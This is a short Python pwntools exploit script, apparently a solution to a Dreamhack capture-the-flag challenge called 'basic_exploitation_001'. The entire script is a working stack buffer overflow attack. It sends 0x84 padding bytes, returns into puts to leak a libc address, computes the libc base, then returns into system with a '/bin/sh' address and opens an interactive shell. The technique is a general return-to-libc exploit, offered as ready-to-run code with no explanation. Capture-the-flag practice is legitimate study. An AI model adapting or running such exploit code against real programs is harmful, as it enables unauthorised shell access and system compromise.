from pwn import *

context.log_level = 'debug'
#p = remote('host3.dreamhack.games', 15998)
p= process('./basic_exploitation_001')
e = ELF('./basic_exploitation_001')
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
#libc = e.libc

#binsh = 0xf7f3d0f5

puts_plt = e.plt['puts']
puts_got = e.got['puts']
main = e.symbols['main']
#dummy = b'AAAA'
dummy = p32(0x0804864b) # pop ebp ; ret

payload = b'A' * 0x84 + p32(puts_plt)
payload += dummy
payload += p32(puts_got) 
payload += p32(main)

p.sendline(payload)
puts = u32(p.recvn(4))

#print('payload1 : ', payload)

print('puts : ', hex(puts))

libc_base = puts - libc.symbols['puts']

binsh = libc_base + 0x1bd0f5

#print('binsh : ' +  str(p32(binsh)))

system_plt = e.plt['system']
system = libc_base + libc.symbols['system']

payload = b'A' * 0x84 + p32(system_plt)
payload += dummy 
payload += p32(binsh)
p.sendline(payload)

p.interactive()